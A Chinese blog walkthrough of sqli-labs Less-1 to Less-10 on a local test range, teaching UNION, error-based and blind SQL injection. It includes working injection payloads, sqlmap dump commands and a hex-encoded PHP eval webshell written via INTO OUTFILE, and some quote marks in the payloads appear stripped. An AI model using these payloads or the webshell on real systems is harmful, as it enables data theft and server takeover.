SQLi-Labs 前十关通关笔记:从 UNION 注入到盲注,一次把 SQL 注入基础打透 SQLi-Labs 前十关通关笔记从 UNION 注入到盲注一次把 SQL 注入基础打透一个安全新手的闯关记录从只会改 URL 到能用 sqlmap 一键脱库前言如果你正在学 Web 安全或者只是好奇SQL 注入到底是怎么回事sqli-labs 这个靶场是你绕不过去的一关。它是一套纯 SQL 注入练习靶场每一关换一种注入场景非常适合从零开始打基础。这篇博客记录了我通关前十关Less-1 ~ Less-10的完整过程每一关是什么类型、闭合方式怎么判断、payload 怎么构造以及我踩过的坑。目的是帮你少走弯路也能作为一份随时可查的速查手册。环境Windows 10 phpstudy sqli-labs-master靶机地址127.0.0.1/sqli-labs-master。一、先建立全局观前十关在学什么前十关可以分成 5 个阶段每过一阶段你的武器库就升级一次阶段关卡核心技能回显注入Less-1 ~ 4UNION 脱库学会判断闭合 找显位报错注入Less-5 ~ 6页面不回显时用报错信息泄露数据文件写入Less-7SQL 注入写 webshell → getshell布尔盲注Less-8页面真假判断逐字符猜数据可使用工具sqlmap时间盲注Less-9 ~ 10页面不变时靠 SLEEP 停顿判断可使用工具sqlmap一句话总结这条成长线从能读数据回显/报错到能控制服务器写 webshell再到数据不显也能偷盲注。二、Less-1 ~ Less-4回显注入UNION 脱库——打地基这四关是所有注入的入门必修核心是记住一个脱库四步套路。前四关的闭合方式差异关卡闭合方式SQL 原型注入前缀Less-1单引号WHERE id$idid0Less-2数字型WHERE id$idid0Less-3单引号括号WHERE id($id)id0)Less-4双引号括号WHERE id($id)id0)会了前四关你就掌握了注入最核心的三个技能试探闭合方式—— 用?id1--?id1)--?id1)--等依次试看哪个让页面恢复正常/报错推断出 SQL 的引号和括号怎么拼的页面恢复正常说明闭合方式正确。ORDER BY 猜字段数——order by 3正常、order by 4报错说明是 3 列。UNION SELECT 找显位—— 用id0查不到数据保证 UNION 结果是页面唯一内容数字 2、3 出现的位置就是能回显数据的显示位union 前后查询返回列数必须相等否则直接报错。完整脱库四步除闭合方式外每一关都一样① 爆库名 ?id0 union select 1,database(),3-- ② 爆表名 ?id0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity-- ③ 爆列名 ?id0 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers-- ④ 脱库 ?id0 union select 1,group_concat(username,0x7e,password),3 from users--关键点database()返回当前库名information_schema是 MySQL 的元数据库存着所有库/表/列信息group_concat()把多行结果拼成一行方便查看0x7e是~的十六进制用来分隔用户名和密码less-1结果图得到数据库名字security得到security数据库中所有的表格名得到users表中所有列的名字对users表中user列和password列进行脱库less-2结果图确定显位为2、3位得到数据库名字security得到security数据库中所有的表格名得到users表中所有列的名字对users表中user列和password列进行脱库less-3结果图(除闭合方式外基本与less-1、less-2结果相同所以部分步骤省略)less-4结果图(除闭合方式外基本与less-1、less-2、less-3结果相同所以步骤省略)三、Less-5 ~ Less-6报错注入——页面不回显怎么办前四关页面能回显数据UNION 塞进去就能看到。但 Less-5/6页面不显示查询结果UNION 进去的内容没处显示。解决办法是让数据库报错从错误信息里带出数据原理extractvalue(xml, xpath)正常用来解析 XML如果传入非法 XPath 路径MySQL 会报错并把错误内容显示在页面。我们把子查询的结果如security拼成~security当非法路径传进去 → 报错显示~security→ 数据泄露。两个必踩的坑查列名时必须加table_schemasecurity否则information_schema.columns会把 MySQL 系统表的列也查出来。extractvalue()报错信息有最多32 字符长度限制数据长了要用limit 0,1/limit 1,1逐条取或用substr()分批。Less-5 和 Less-6 唯一区别就是闭合方式$id单引号vs$id双引号payload 结构完全一样。通关步骤爆库名?id1 and extractvalue(1, concat(0x7e, (database())))--爆表名?id1 and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schemasecurity)))--爆列名注意要加 table_schema 限定?id1 and extractvalue(1, concat(0x7e, (select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1)))--脱库逐条取因为有长度限制?id1 and extractvalue(1, concat(0x7e, (select concat(username,0x7e,password) from security.users limit 0,1)))-- ?id1 and extractvalue(1, concat(0x7e, (select concat(username,0x7e,password) from security.users limit 1,1)))-- ...less-5结果图得到数据库名字security逐个得到users表格中的列名逐个得到users表格中的列名逐个得到users表格中的列名逐个脱库users表格中的username和password列的数据less-6结果图得到数据库名字security逐个得到数据库security中的所有表格名得到表格users中的所有列名确定没有第四个列脱库成功一人后面不再列出四、Less-7文件写入——从偷数据到拿下服务器前十关里最进阶的一关因为它的目标从读数据变成了写文件getshell。核心思路用INTO OUTFILE把查询结果写成服务器上的 PHP 木马文件,将一句话木马转换成十六进制进行写入其中0x3c3f...是?php eval($_POST[cmd]);?的十六进制用十六进制是为了避开单引号干扰 SQL 语法。写出来的 shell.php 就能通过 POSTcmdphpinfo()让服务器执行任意命令 getshell。我踩的三个坑都是血泪用id-1而不是id1——id1能查到你不想写进去的脏数据污染文件内容。用id-1查不到数据保证文件干净。secure_file_priv为 NULL—— MySQL 默认开关可能禁止写文件。需要改my.ini的[mysqld]段最后加secure_file_priv 并重启 MySQL。写完后验证—— 手动 POSTcmdphpinfo()看是否返回 PHP 版本再用cmdsystem(whoami)确认命令执行权限。通关步骤第 ① 步试探闭合方式Less-7 的坑在于闭合它是双括号($id))。分别试几个看哪个报错恢复成You are in?id1-- ?id1))-- ?id1)-- ?id1--正确闭合是?id1))-- 为什么SQL 原型SELECT * FROM users WHERE id(($id)) LIMIT 0,1传1))拼进去是WHERE id((1))))一对是代码自带一对自己补引号括号平衡了语法就对了。加--注释掉后面的LIMIT 0,1。第 ② 步写 webshell核心前置条件MySQL 要有secure_file_priv(文件读写)权限改my.ini的[mysqld]段最后加secure_file_priv 并重启 MySQL。本人的my.ini文件在C:\phpstudy\phpstudy_pro\Extensions\MySQL5.7.26路径下也许会对你有帮助木马代码用十六进制转义避免单引号干扰?id-1)) union select 1,2,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e into outfile C:/phpstudy/WWW/shell.php--❌ 不能直接写单反斜杠C:\phpstudy\WWW\shell.php\会被识别成转义符直接报错写失败。❌into outfile不能覆盖已有文件第 ③步手动 POST 或使用蚁剑验证后门是否生效方法一在桌面新建的 test.txt 文档写入如下 html 表单代码htmlbodyformmethodPOSTactionhttp://127.0.0.1/shell.phpinputnamecmdvaluephpinfo();inputtypesubmit/form/body/html保存后把文件后缀修改为test.html双击用浏览器打开该文件点击提交按钮。返回格式为php版本表格方法二在桌面新建 test.txt 文档写入如下 html 表单代码htmlbodyformmethodPOSTactionhttp://127.0.0.1/shell.phpinputnamecmdvaluesystem(whoami);inputtypesubmit/form/body/html保存后把文件后缀修改为test.html双击用浏览器打开该文件点击提交按钮。返回格式为本机计算机名\Windows用户名每台机器显示内容不同我的靶机环境输出示例desktop‑pd6f1n3\xxx⚠️实验现象说明页面最开头会多出1 2属于正常现象。是 union select 语句前两个字段数字被一并写入 php 文件头部不影响一句话木马功能想要纯净无多余输出的 shell可以把 payload 改为union select null,null,0x木马十六进制。后门植入成功less-7结果图id1’))成功写入文件所以确定闭合方式为id1’))查看secure_file_priv权限为NULL,证明完全禁用文件读写在C:\phpstudy\phpstudy_pro\Extensions\MySQL5.7.26路径下打开my.ini文件在[mysqld]段最后加secure_file_priv 并重启 MySQL得到写入权限可成功写入在桌面上新建.txt文件,写入内容后修改后缀为.html,双击打开点击提交按钮显示php版本号说明后门植入成功可以借用工具“蚁剑”快速测试显示拥有权限使用“蚁剑”快速检查是否植入成功五、Less-8 ~ Less-10盲注——数据不直接显示就猜到这里前三阶段的回显思路彻底失效页面既不显示数据也不报错泄露。只能用旁敲侧击的方式猜。Less-8布尔盲注boolean-based blind页面只有正常和异常两种状态用它当真假探测灯?id1 and 11-- → 页面正常条件真 ?id1 and 12-- → 页面空白/异常条件假Less-9、Less-10 时间盲注time-based blind页面怎么变都一样布尔失效靠响应时间判断?id1 and sleep(5)-- → 卡了 5 秒 注入成立 ?id1 and if(条件, sleep(5), 0)-- → 条件真→卡5秒 / 条件假→秒回Less-9 单引号、Less-10 双引号本质相同。盲注的偷懒神器适用Less-8 ~ Less-10在GitHub中下载sqlmap盲注逐字符猜太累这是sqlmap的强项。winR弹出的运行页面中输入cmd进入命令提示符一条命令搞定脱库确保已经安装python和sqlmappython sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id1 --dbs通用四步套--dbs → 爆所有库 -D security --tables → 爆指定库的表 -D security -T users --columns → 爆表里的列 -D security -T users --dump → 脱数据一个关键经验sqlmap 报all tested parameters do not appear to be injectable时先别放弃在命令末尾加参数加深探测深度--level 3 --risk 3--level探测等级控制 payload 的探测广度--risk风险等级会带入更多破坏性 payload部分场景可能修改数据。less-8结果图使用sqlmap工具快速进行盲注得到数据库得到数据库security中的表格找到users表格中的所有列快速脱库less-9结果图除文件路径外全部步骤与less-8相同不在赘述less-10结果图sqlmap 报all tested parameters do not appear to be injectable表示需要深度探测在每一步的代码末尾添加--level 3 --risk 3除文件路径及需要深度探测外全部步骤与less-8、less-9相同不在赘述六、新手速查表建议收藏注入类型判断页面回显数据→ UNION 注入Less-1~4页面不回显但报错→ 报错注入Less-5~6页面真假不同→ 布尔盲注Less-8页面不变、但可延迟→ 时间盲注Less-9~10常用函数函数作用database()当前库名information_schemaMySQL 元数据库查表列group_concat()多行合并为一行extractvalue()/updatexml()报错注入核心substr()/ascii()盲注逐字符猜解IF(条件,真,假)SLEEP(n)时间盲注常用 payload# 猜字段数 1 ORDER BY 3-- # 找显位 -1 UNION SELECT 1,2,3-- # 查库名 -1 UNION SELECT 1,database(),3-- # 报错注入 1 AND extractvalue(1,concat(0x7e,database()))-- # 布尔盲注 1 AND ASCII(SUBSTRING(database(),1,1))100-- # 时间盲注 1 AND IF(ASCII(SUBSTRING(database(),1,1))100,SLEEP(3),0)--七、写在最后几点提醒闭合方式是最重要的第一步——引号、括号、双引号判断错了后面全白搭。id-1或id0优于id1——避免脏数据干扰 UNION 结果。手法会报错、会变——遇到此路不通换一种角度回显→报错→盲注→工具。sqlmap 是好帮手但不能替代手工理解——先手工打几关再上工具你才真正理解它在干嘛。合规提醒——以上全部用于自己搭建的靶场 / 授权测试。对未经授权的网站进行注入是违法行为请务必以学习为目的、在合法环境内练习。这是我个人通关 sqli-labs 前十关的记录与总结如有不对欢迎指正。后续会继续更新 Less-11 起的 POST 注入、Header 注入和绕过技巧。如果你觉得这篇对你有帮助可以点个收藏/关注。也欢迎在评论区交流你通关时遇到的坑。